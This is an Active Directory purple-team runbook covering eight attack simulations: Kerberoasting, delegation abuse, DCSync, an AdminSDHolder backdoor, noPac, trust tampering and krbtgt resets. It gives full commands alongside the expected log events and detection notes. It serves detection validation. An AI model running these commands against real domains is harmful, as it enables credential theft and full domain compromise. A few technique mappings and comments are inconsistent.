



Active Directory Attack Simulation Runbook

Detection Validation & Purple Team Reference

Version	Classification	Date	Use Cases
1.0	CONFIDENTIAL	June 26, 2026	8 Scenarios

■ IMPORTANT DISCLAIMER

All techniques documented in this runbook are intended exclusively for use in isolated, authorized lab environments. Execution against production systems or without explicit written authorization is illegal. Ensure proper change management and VM snapshots are in place before any simulation.

Table of Contents

01	Account Manipulation — SPN Added	Persistence / Credential Access
02	Kerberos Unconstrained Delegation Abuse (Rubeus)	Credential Access
03	OS Credential Dumping — DCSync	Credential Access
04	Domain Policy Modification — dSHeuristics	Defense Evasion
05	Domain Policy Modification — AdminSDHolder	Persistence
06	Privilege Escalation — noPac Exploitation	Privilege Escalation
07	Domain / Forest Trust Modification	Defense Evasion
08	Local Password Change on Domain Controller	Credential Access
AP	Appendix — Audit Policy & Global Prerequisites	Reference

USE CASE 01

MITRE: T1098 / T1558.003

Severity: HIGH

Account Manipulation SPN Added

Privilege Required: **Domain Admin / Account Operator**Target: **AD User Account**Tools: **PowerShell / setspn.exe**Impact: **Kerberoasting Attack Surface**

Overview

An attacker with write access to an AD user object registers a fake Service Principal Name (SPN) on that account. Once registered, the account becomes Kerberoastable — any domain user can request a Kerberos service ticket encrypted with the target account's password hash, then crack it offline. This is one of the most common initial persistence and lateral-movement techniques in enterprise Active Directory environments.

Prerequisites

- Domain-joined Windows workstation or server
- PowerShell RSAT / ActiveDirectory module installed
- Account with write access to target user object (Account Operator or DA)
- Advanced Audit Policy enabled for Directory Service Changes

Simulation Steps

Step 1 — Identify target user and baseline SPNs

```
# Verify current SPNs on target account (should be empty for a regular user)
Get-ADUser -Identity 'targetuser' -Properties ServicePrincipalNames

# List ALL accounts that currently have SPNs (baseline before test)
Get-ADUser -Filter {ServicePrincipalNames -ne '$null'} -Properties ServicePrincipalNames \
| Select SamAccountName, ServicePrincipalNames
```

Step 2 — Enable required auditing on Domain Controller

```
# Run on DC as Domain Admin
auditpol /set /subcategory:'Directory Service Changes' /success:enable /failure:enable
auditpol /set /subcategory:'Account Management' /success:enable /failure:enable

# Verify
auditpol /get /subcategory:'Directory Service Changes'
```

Step 3 — Add a fake SPN to the user (PowerShell)

```
# Add SPN using PowerShell AD module
Set-ADUser -Identity 'targetuser' \
-ServicePrincipalNames @{Add='MSSQLSvc/fake-server.domain.local:1433'}

# Verify SPN was added
Get-ADUser -Identity 'targetuser' -Properties ServicePrincipalNames \
| Select -ExpandProperty ServicePrincipalNames
```

Step 4 — Alternatively use built-in setspn.exe

```
# Using setspn.exe (available by default on domain-joined machines)
setspn -S MSSQLSvc/fake-server.domain.local:1433 DOMAIN\targetuser

# List SPNs on the account to confirm
setspn -L targetuser

# List duplicate SPNs in domain (triggers Event 7038 if duplicate)
setspn -X
```

Step 5 — Trigger Kerberoast to validate detection

```
# From any domain user – request the service ticket (generates Event 4769)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList 'MSSQLSvc/fake-server.domain.local:1433'

# Using Rubeus for a cleaner Kerberoast simulation
.\Rubeus.exe kerberoast /user:targetuser /nowrap /format:hashcat
```

Step 6 — Cleanup

```
# Remove the fake SPN after simulation
Set-ADUser -Identity 'targetuser' `
-ServicePrincipalNames @{Remove='MSSQLSvc/fake-server.domain.local:1433'}

# Verify removal
Get-ADUser -Identity 'targetuser' -Properties ServicePrincipalNames
```

Expected Log Events

Event ID	Description	Log Source
4738	User account was changed (SPN field modified)	Security
4742	Computer account was changed	Security
5136	Directory service object was modified (SPN attribute)	Security
4769	Kerberos service ticket requested for fake SPN	Security
4768	Kerberos TGT requested by requesting user	Security

MITRE ATT&CK; Mapping

Tactic	Technique ID	Technique Name
Persistence	T1098	Account Manipulation
Credential Access	T1558.003	Steal or Forge Kerberos Tickets: Kerberoasting

Detection Notes

- Alert on Event 5136 where the attribute modified is servicePrincipalName and the actor is not a DC computer account.
- Baseline all existing SPNs and alert on any new SPN registration on user accounts (as opposed to computer accounts).
- Event 4769 with TicketEncryptionType = 0x17 (RC4) on a non-computer account is a strong Kerberoasting indicator.
- Correlate SPN creation (5136) with subsequent 4769 events from different source IPs within a short time window.

USE CASE 02

MITRE: T1558 / T1550.003

Severity: **CRITICAL**

Kerberos Unconstrained Delegation Abuse Rubeus — TGT Capture & Pass-the-Ticket

Privilege Required: **DA** to configure; **SYSTEM** on hostTools: **Rubeus**, **SpoolSample** / **PetitPotam**Target: **Unconstrained** delegation hostImpact: **Full domain** compromise possible

Overview

When a machine is configured for Unconstrained Delegation, the DC places the user's full TGT inside the Kerberos service ticket. The delegation host can then extract that TGT from memory and reuse it to impersonate the user against any service in the domain. By coercing a DC (via PrintSpooler bug or PetitPotam) to authenticate to a controlled unconstrained-delegation host, an attacker can capture the DC's TGT and perform a full DCSync — leading to complete domain takeover.

Simulation Steps

Step 1 — Configure Unconstrained Delegation on a test machine (DC)

```
# Run on DC as Domain Admin
Set-ADComputer -Identity 'LABWS01' -TrustedForDelegation $true

# Verify
Get-ADComputer -Identity 'LABWS01' -Properties TrustedForDelegation \
| Select Name, TrustedForDelegation
```

Step 2 — Find all unconstrained delegation machines (recon)

```
# Identify all machines with Unconstrained Delegation (excluding DCs)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation \
| Where-Object {$_.DistinguishedName -notlike '*Domain Controllers*'} \
| Select Name, DNSHostName

# Using PowerView
Get-DomainComputer -Unconstrained | Select dnshostname, useraccountcontrol
```

Step 3 — Monitor for incoming TGTs using Rubeus (run as SYSTEM on delegation host)

```
# Start Rubeus monitor on the unconstrained delegation machine
# This waits for TGTs to land in LSASS memory
.\Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC01$
```

Step 4 — Coerce DC authentication using PrintSpooler bug (SpoolSample)

```
# From any domain user — force DC01 to authenticate to LABWS01
# SpoolSample exploits MS-RPRN (Print Spooler) — enabled by default
.\SpoolSample.exe DC01.domain.local LABWS01.domain.local

# Alternative: PetitPotam (does not require domain user in patched envs)
.\PetitPotam.exe LABWS01.domain.local DC01.domain.local
```

Step 5 — Import captured TGT and verify access

```
# Rubeus will print a base64 TGT — import it into current session
.\Rubeus.exe ptt /ticket:<BASE64_TICKET_FROM_MONITOR_OUTPUT>

# Verify ticket is loaded in memory
```

```
.\Rubeus.exe klist

# Test access with the DC's TGT

dir \\DC01.domain.local\C$
```

Step 6 — Cleanup

```
# Remove unconstrained delegation flag
Set-ADComputer -Identity 'LABWS01' -TrustedForDelegation $false

# Purge all Kerberos tickets from current session
.\Rubeus.exe purge
klist purge
```

Expected Log Events

Event ID	Description	Log Source
4742	Computer account changed — TrustedForDelegation flag set	Security
4768	Kerberos TGT requested (DC machine account authenticating to host)	Security
4769	Kerberos service ticket requested using imported TGT	Security
4624	Successful logon using pass-the-ticket (Logon Type 3)	Security
5136	Directory object modified — userAccountControl on computer object	Security

MITRE ATT&CK; Mapping

Tactic	Technique ID	Technique Name
Credential Access	T1558	Steal or Forge Kerberos Tickets
Lateral Movement	T1550.003	Use Alternate Authentication Material: Pass-the-Ticket
Discovery	T1087.002	Account Discovery: Domain Account

USE CASE 03

MITRE: T1003.006

Severity: CRITICAL

OS Credential Dumping DCSync Attack

Privilege Required: DA or Replication Rights**Tools:** Mimikatz, Impacket secretsdump**Target:** Domain Controller (LDAP/DRS)**Impact:** All domain hashes exposed

Overview

DCSync abuses the MS-DRSR (Directory Replication Service Remote Protocol) to impersonate a domain controller and request password data for any account. Unlike traditional credential dumping that requires code execution on the DC, DCSync can be performed remotely using only network access and an account with Replicating Directory Changes + Replicating Directory Changes All permissions.

Simulation Steps

Step 1 — Enable Object Access auditing on the DC

```
# Enable auditing required to capture Event 4662
auditpol /set /subcategory:'Directory Service Access' /success:enable /failure:enable
auditpol /set /subcategory:'Directory Service Changes' /success:enable /failure:enable
```

Step 2 — (Optional) Grant DCSync rights to a low-privilege test account

```
# Using PowerView — add DCSync rights to 'labuser' to simulate a compromised account
# This mimics how attackers persist DCSync access without DA
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' \
-PrincipalIdentity 'labuser' \
-Rights DCSync -Verbose
# Verify the ACLs were applied
Get-DomainObjectAcl 'DC=domain,DC=local' -ResolveGUIDs \
| Where-Object {$_.IdentityReference -match 'labuser'}
```

Step 3 — Execute DCSync with Mimikatz (Windows)

```
# Launch Mimikatz on attacker machine (not on DC)
.\mimikatz.exe
# Inside Mimikatz — pull krbtgt hash
lsadump::dcsync /domain:domain.local /user:krbtgt
# Pull all accounts to CSV
lsadump::dcsync /domain:domain.local /all /csv
# Pull built-in Administrator
lsadump::dcsync /domain:domain.local /user:Administrator
exit
```

Step 4 — Execute DCSync with Impacket secretsdump (Linux)

```
# Install Impacket if not present
pip3 install impacket
# Run secretsdump remotely — pull only DC hashes
python3 secretsdump.py domain.local/Administrator:'Password123'@192.168.1.10 -just-dc
# Pull only krbtgt hash
python3 secretsdump.py domain.local/Administrator:'Password123'@192.168.1.10 \
-just-dc-user krbtgt
```

```
# Output to file for review
python3 secretsdump.py domain.local/Administrator:'Password123'@192.168.1.10 \
-just-dc -outputfile /tmp/dcsync_output
```

Step 5 — Cleanup (remove DCSync rights if granted in Step 2)

```
Remove-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' \
-PrincipalIdentity 'labuser' -Rights DCSync -Verbose
```

Expected Log Events

Event ID	Description	Log Source
4662	Operation performed on AD object using replication GUID (triggered on DC)	Security
4624	Network logon from non-DC IP performing DRS replication	Security
4672	Special privileges assigned to new logon (replication account)	Security
5136	Directory service object modified (if DCSync rights granted via ACL)	Security

MITRE ATT&CK; Mapping

Tactic	Technique ID	Technique Name
Credential Access	T1003.006	OS Credential Dumping: DCSync
Persistence	T1098.001	Account Manipulation: Additional Cloud Roles

USE CASE 04

MITRE: T1222.001

Severity: HIGH

Domain Policy Modification dSHeuristics Attribute Modified

Privilege Required: **Domain Admin**Tools: **PowerShell AD Module, ADSI Edit**Target: **Configuration Partition (CN=Dir Svc)**Impact: **Disables AdminSDHolder protection**

Overview

The dSHeuristics attribute in the AD configuration partition controls several domain-wide behaviours. Notably, character position 7 (index 6) controls whether the List Object access mode is enabled, and position 16 controls which groups are excluded from AdminSDHolder protection. Attackers modify this attribute to remove sensitive accounts from SDProp protection or to enable enumeration restrictions that complicate forensics.

Simulation Steps

Step 1 — Baseline current dSHeuristics value

```
$dirSvc = 'CN=Directory Service,CN=Windows NT,CN=Services,' +  
'CN=Configuration,DC=domain,DC=local'  
  
Get-ADObject -Identity $dirSvc -Properties dSHeuristics \  
| Select DistinguishedName, dSHeuristics  
  
# Note: Default value is either null or '0000000'
```

Step 2 — Enable Directory Service Changes auditing

```
auditpol /set /subcategory:'Directory Service Changes' /success:enable /failure:enable
```

Step 3 — Modify dSHeuristics using PowerShell

```
# Set dSHeuristics to enable List Object Mode (position 3 = '1')  
# This is a low-impact but detectable config change  
Set-ADObject -Identity $dirSvc -Replace @{dSHeuristics='0000002'}  
  
# Verify change  
Get-ADObject -Identity $dirSvc -Properties dSHeuristics
```

Step 4 — Alternatively use Ldifde for import-based simulation

```
# Create LDIF file  
@'  
dn: CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=domain,DC=local  
changetype: modify  
replace: dSHeuristics  
dSHeuristics: 0000002  
-  
'@ | Out-File -Encoding ASCII C:\Temp\dsheuristics.ldf  
  
# Import the LDIF  
ldifde -i -f C:\Temp\dsheuristics.ldf -v
```

Step 5 — Revert to original value

```
# Clear the attribute (restore default)  
Set-ADObject -Identity $dirSvc -Clear dSHeuristics  
  
# Verify  
Get-ADObject -Identity $dirSvc -Properties dSHeuristics
```

Expected Log Events

Event ID	Description	Log Source
5136	Directory service object modified — dSHeuristics attribute changed	Security
4662	Object access — operation on configuration partition object	Security
4670	Permissions on an object were changed	Security
4742	Computer account changed (if via ADSI computer object context)	Security

MITRE ATT&CK; Mapping

Tactic	Technique ID	Technique Name
Defense Evasion	T1222.001	File and Directory Permissions Modification: Windows
Defense Evasion	T1562.001	Impair Defenses: Disable or Modify Tools

USE CASE 05

MITRE: T1078.002 / T1098

Severity: CRITICAL

Domain Policy Modification AdminSDHolder ACL Backdoor

Privilege Required: **Domain Admin**Tools: **PowerView, AD PowerShell Module**Target: **CN=AdminSDHolder, CN=System**Impact: **Persistent hidden DA-equivalent**

Overview

AdminSDHolder is a special AD container whose ACL is periodically stamped (via SDProp, every 60 minutes) onto all protected groups and their members (Domain Admins, Administrators, etc.). By adding a backdoor user's ACE to AdminSDHolder with GenericAll rights, an attacker ensures that their access is automatically re-granted to all privileged accounts every hour — even after a blue team tries to remove it.

Simulation Steps

Step 1 — Baseline current AdminSDHolder ACL

```
# View current ACL on AdminSDHolder
Get-ADObject -Identity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' \
-Properties nTSecurityDescriptor

# Using PowerView for readable output
Get-ObjectAcl -ADSPrefix 'CN=AdminSDHolder,CN=System' -ResolveGUIDs \
| Select IdentityReference, ActiveDirectoryRights
```

Step 2 — Add backdoor user GenericAll to AdminSDHolder

```
# Using PowerView
Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' \
-PrincipalIdentity 'backdooruser' -Rights All -Verbose

# Using native AD PowerShell (more verbose but no PowerView dependency)
$adminSD = 'CN=AdminSDHolder,CN=System,DC=domain,DC=local'
$user = Get-ADUser 'backdooruser'
$acl = Get-Acl "AD:\$adminSD"
$identity = [System.Security.Principal.IdentityReference] $user.SID
$rights = [System.DirectoryServices.ActiveDirectoryRights]::GenericAll
$type = [System.Security.AccessControl.AccessControlType]::Allow
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$identity, $rights, $type)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$adminSD" $acl
```

Step 3 — Force SDProp to run immediately (normally every 60 min)

```
# Trigger via RootDSE — forces immediate SDProp cycle
$rootDSE = [ADSI]'LDAP://RootDSE'
$rootDSE.Put('fixupInheritance', 1)
$rootDSE.SetInfo()

# Using PowerView helper
Invoke-SDPropagator -showProgress -TimeoutMinutes 1
```

Step 4 — Verify propagation to protected groups

```
# Check that backdooruser now has rights on Domain Admins group
Get-ObjectAcl -SamAccountName 'Domain Admins' -ResolveGUIDs \
```

```
| Where-Object {$_.IdentityReference -match 'backdooruser'}
```

Step 5 — Cleanup

```
# Remove the backdoor ACE from AdminSDHolder
Remove-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' \
-PrincipalIdentity 'backdooruser' -Rights All -Verbose
# Force another SDProp cycle to propagate removal
$rootDSE.Put('fixupInheritance', 1); $rootDSE.SetInfo()
```

Expected Log Events

Event ID	Description	Log Source
5136	AdminSDHolder object modified — nTSecurityDescriptor attribute changed	Security
4670	Permissions on object were changed — AdminSDHolder ACL	Security
4728	Member added to security-enabled global group (post-SDProp propagation)	Security
4732	Member added to security-enabled local group (post-SDProp propagation)	Security
4662	Object access operation on AdminSDHolder container	Security

MITRE ATT&CK; Mapping

Tactic	Technique ID	Technique Name
Persistence	T1098	Account Manipulation
Privilege Escalation	T1078.002	Valid Accounts: Domain Accounts
Defense Evasion	T1484	Domain Policy Modification

USE CASE 06

MITRE: T1068 / T1558

Severity: CRITICAL

Privilege Escalation noPac Exploitation (CVE-2021-42278 / CVE-2021-42287)

Privilege Required: Any
Domain User

Tools: noPac.py / noPac.exe

Target: Domain Controller
(KDC)Impact: Domain Admin from
low priv

Overview

noPac chains two CVEs: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (Kerberos PAC confusion). A low-privileged domain user creates a machine account, renames its sAMAccountName to match a DC (e.g., DC01), requests a TGT, renames it back, then requests a service ticket — the KDC appends the DC dollar sign and returns a PAC with Domain Admin privileges. This results in full domain compromise from a standard domain user account.

Simulation Steps

Step 1 — Verify environment is vulnerable

```
# Check MachineAccountQuota — must be > 0 (default is 10)
Get-ADObject -Identity ((Get-ADDomain).DistinguishedName) \
-Properties 'ms-DS-MachineAccountQuota' \
| Select 'ms-DS-MachineAccountQuota'

# Scan using noPac scanner (Python / Impacket)
python3 scanner.py domain.local/lowprivuser:'Password123' -dc-ip 192.168.1.10
```

Step 2 — Clone and prepare noPac tool

```
git clone https://github.com/Ridter/noPac.git
cd noPac
pip3 install -r requirements.txt
```

Step 3 — Run noPac exploitation to get SYSTEM shell

```
# Full exploitation — spawns a shell as DC SYSTEM
python3 noPac.py domain.local/lowprivuser:'Password123' \
-dc-ip 192.168.1.10 -dc-host DC01 \
-shell --impersonate administrator

# Alternative: dump hashes directly
python3 noPac.py domain.local/lowprivuser:'Password123' \
-dc-ip 192.168.1.10 -dc-host DC01 \
--impersonate administrator -dump
```

Step 4 — Windows C# version (noPac.exe)

```
# Scan first
.\noPac.exe scan -domain domain.local -user lowprivuser -pass Password123

# Exploit — create machine account, rename, forge ticket, PTT
.\noPac.exe -domain domain.local -user lowprivuser -pass Password123 \
/dc DC01.domain.local /mAccount fakecomp2021 /mPassword FakePa$$w0rd \
/service cifs /ptt

# Verify elevated access
klist
dir \\DC01.domain.local\C$
```

Step 5 — Cleanup

```
# Remove the machine account created during exploitation
Remove-ADComputer -Identity 'fakecomp2021' -Confirm:$false
klist purge
```

Expected Log Events

Event ID	Description	Log Source
4741	Computer account was created (attacker-created machine account)	Security
4742	Computer account changed — sAMAccountName renamed to match DC	Security
4768	Kerberos TGT requested for spoofed DC name	Security
4769	Service ticket requested — KDC confusion yields elevated PAC	Security
4624	Successful logon using forged ticket — Logon Type 3	Security
4743	Computer account deleted (if cleanup performed)	Security

MITRE ATT&CK; Mapping

Tactic	Technique ID	Technique Name
Privilege Escalation	T1068	Exploitation for Privilege Escalation
Credential Access	T1558	Steal or Forge Kerberos Tickets
Defense Evasion	T1036.005	Masquerading: Match Legitimate Name

USE CASE 07

MITRE: T1484.002

Severity: HIGH

Domain / Forest Trust Modification

Privilege Required: **Domain Admin / Enterprise Admin**Tools: **netdom.exe, PowerShell AD Module**Target: **Domain Trust Objects (trustedDomain)**Impact: **Cross-domain privilege abuse**

Overview

Domain and forest trusts define authentication boundaries. Attackers modify trusts to disable SID filtering (enabling SID history injection across forests), add new bidirectional trusts to attacker-controlled domains, or enable selective authentication bypasses. These changes are often persistent, difficult to detect, and allow for cross-forest privilege escalation long after the initial compromise.

Simulation Steps

Step 1 — Enumerate existing trusts (baseline)

```
# List all trusts in the domain
Get-ADTrust -Filter * | Select Name, TrustType, TrustDirection, \
TrustAttributes, SIDFilteringQuarantined, SIDFilteringForestAware

# Alternative with netdom
netdom query trust

# Using PowerView
Get-DomainTrust | Select SourceName, TargetName, TrustDirection, TrustAttributes
```

Step 2 — Create an external domain trust (requires second lab domain)

```
# Create outbound external trust from domain.local to external.local
netdom trust domain.local /domain:external.local /add /twoway \
/UserD:Admin@external.local /PasswordD:ExtPass123 \
/UserO:Admin@domain.local /PasswordO:IntPass123

# Verify trust was created
Get-ADTrust -Filter {Name -eq 'external.local'}
```

Step 3 — Modify existing trust — disable SID filtering (quarantine)

```
# Disable SID filter quarantine (simulates enabling SID history attack path)
# This is the key step attackers use to abuse cross-forest trust
netdom trust domain.local /domain:external.local /quarantine:no \
/UserD:Admin@external.local /PasswordD:ExtPass123

# Enable SID History across the trust
netdom trust domain.local /domain:external.local /EnableSIDHistory:yes \
/UserD:Admin@external.local /PasswordD:ExtPass123

# Verify change
Get-ADTrust -Filter * | Select Name, SIDFilteringQuarantined
```

Step 4 — Modify trust using PowerShell DirectoryServices

```
# Modify trust attributes directly via AD object
$trust = Get-ADObject -Filter {ObjectClass -eq 'trustedDomain' \
-and Name -eq 'external.local'} -Properties TrustAttributes

# TrustAttributes = 0x4 means SID filtering disabled
Set-ADObject -Identity $trust.DistinguishedName \
-Replace @{TrustAttributes = 0x4}
```

Step 5 — Cleanup

```
# Re-enable SID filtering
netdom trust domain.local /domain:external.local /quarantine:yes \
/UserD:Admin@external.local /PasswordD:ExtPass123

# Remove the trust entirely
netdom trust domain.local /domain:external.local /remove \
/UserD:Admin@external.local /PasswordD:ExtPass123
```

Expected Log Events

Event ID	Description	Log Source
4706	A new trust was created to a domain	Security
4707	A trust to a domain was removed	Security
4716	Trusted domain information was modified	Security
5136	Directory service object modified — trustedDomain object attributes	Security
4670	Permissions changed on trustedDomain object	Security

MITRE ATT&CK; Mapping

Tactic	Technique ID	Technique Name
Defense Evasion	T1484.002	Domain Policy Modification: Domain Trust Modification
Privilege Escalation	T1134.005	Access Token Manipulation: SID-History Injection
Lateral Movement	T1550	Use Alternate Authentication Material

USE CASE 08

MITRE: T1098 / T1003

Severity: CRITICAL

Credential Access Local Password Change on Domain Controller

Privilege Required: **Domain Admin / SYSTEM** on DCTools: **net.exe, PowerShell, Impacket**Target: **Built-in & service accounts** on DCImpact: **Credential invalidation / backdoor**

Overview

Changing passwords on built-in accounts (Administrator, krbtgt) or service accounts directly on a Domain Controller has significant detection and operational impact. Attackers reset the krbtgt password to invalidate existing Golden Tickets (false-flag), change the built-in Administrator password to maintain access, or modify service account credentials to enable persistent unauthorized use. The krbtgt reset is particularly significant as it invalidates all Kerberos tickets domain-wide.

Simulation Steps

Step 1 — Enable Account Management auditing

```
auditpol /set /subcategory:'User Account Management' /success:enable /failure:enable
auditpol /set /subcategory:'Account Management' /success:enable /failure:enable
```

Step 2 — Change local Administrator password using net.exe

```
# Change local Administrator password (generates Event 4723/4724)
net user Administrator NewPassword123!

# Change domain Administrator password via net with /domain flag
net user Administrator NewPassword123! /domain
```

Step 3 — Change password using PowerShell AD module

```
# Reset password using Set-ADAccountPassword (admin reset – Event 4724)
Set-ADAccountPassword -Identity 'Administrator' \
-NewPassword (ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force) \
-Reset

# Simulate krbtgt password reset (high-impact – invalidates all tickets)
# In lab only – this breaks Kerberos until replication completes
Set-ADAccountPassword -Identity 'krbtgt' \
-NewPassword (ConvertTo-SecureString 'NewKrbtgt@2024!' -AsPlainText -Force) \
-Reset
```

Step 4 — Remote password change using Impacket (Linux attacker)

```
# Change password remotely over SMB using Impacket
python3 smbpasswd.py domain.local/Administrator:'OldPass'@192.168.1.10 \
'NewPassword123!'

# Using changepasswd.py
python3 changepasswd.py domain.local/Administrator:'OldPass'@192.168.1.10 \
-newpass 'NewPassword123!'
```

Step 5 — Verify events were captured

```
# Query Security log for password change events
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4723,4724,4738} \
-MaxEvents 20 | Select TimeCreated, Id, Message

# On DC – also check for 4723 (self-change) vs 4724 (admin reset)
```

```
Get-EventLog -LogName Security -InstanceId 4723,4724 -Newest 10 \  
| Select TimeGenerated, EventID, Message
```

Expected Log Events

Event ID	Description	Log Source
4723	An attempt was made to change an account's password (self-change)	Security
4724	An attempt was made to reset an account's password (admin reset)	Security
4738	A user account was changed — password last set attribute updated	Security
4625	Failed logon using old password after reset	Security
4771	Kerberos pre-authentication failed (krbtgt reset side-effect)	Security

MITRE ATT&CK; Mapping

Tactic	Technique ID	Technique Name
Credential Access	T1003	OS Credential Dumping
Persistence	T1098	Account Manipulation
Impact	T1531	Account Access Removal

Appendix — Global Prerequisites & Audit Policy

Lab Environment Requirements

Domain Controller	Windows Server 2019 or 2022 — DC role installed, AD DS configured
Workstation	Windows 10/11 domain-joined — used as attacker/lateral movement host
Attacker OS	Kali Linux or Windows 10 — for Impacket / Python-based tools
Snapshots	VM snapshots taken before EVERY simulation for clean rollback
Network	Isolated VLAN / host-only network — no internet-facing routes
Tools	Mimikatz, Rubeus, Impacket, PowerView, BloodHound, noPac

Global Audit Policy (Apply on all DCs via GPO)

```
# Run as Domain Admin on Domain Controller
auditpol /set /subcategory:'Account Management' /success:enable /failure:enable
auditpol /set /subcategory:'User Account Management' /success:enable /failure:enable
auditpol /set /subcategory:'Directory Service Changes' /success:enable /failure:enable
auditpol /set /subcategory:'Directory Service Access' /success:enable /failure:enable
auditpol /set /subcategory:'Kerberos Authentication Service' /success:enable /failure:enable
auditpol /set /subcategory:'Kerberos Service Ticket Operations' /success:enable /failure:enable
auditpol /set /subcategory:'Logon' /success:enable /failure:enable
auditpol /set /subcategory:'Special Logon' /success:enable /failure:enable
auditpol /set /subcategory:'Sensitive Privilege Use' /success:enable /failure:enable
auditpol /set /subcategory:'Other Object Access Events' /success:enable /failure:enable

# Verify all settings
auditpol /get /category:*
```

Quick Reference — All Use Cases

#	Use Case	Min Privilege	Key Event IDs	Severity
01	SPN Added	Account Operator	4738, 4742, 5136, 4769	HIGH
02	Unconstrained Delegation	DA + SYSTEM	4742, 4768, 4769, 4624	CRITICAL
03	DCSync	DA / Repl Rights	4662, 4624, 4672	CRITICAL
04	dSHeuristics Modified	Domain Admin	5136, 4662, 4670	HIGH
05	AdminSDHolder Backdoor	Domain Admin	5136, 4670, 4728, 4732	CRITICAL
06	noPac Exploitation	Domain User	4741, 4742, 4768, 4769	CRITICAL
07	Trust Modification	DA / EA	4706, 4716, 5136	HIGH
08	Password Change on DC	DA / SYSTEM	4723, 4724, 4738	CRITICAL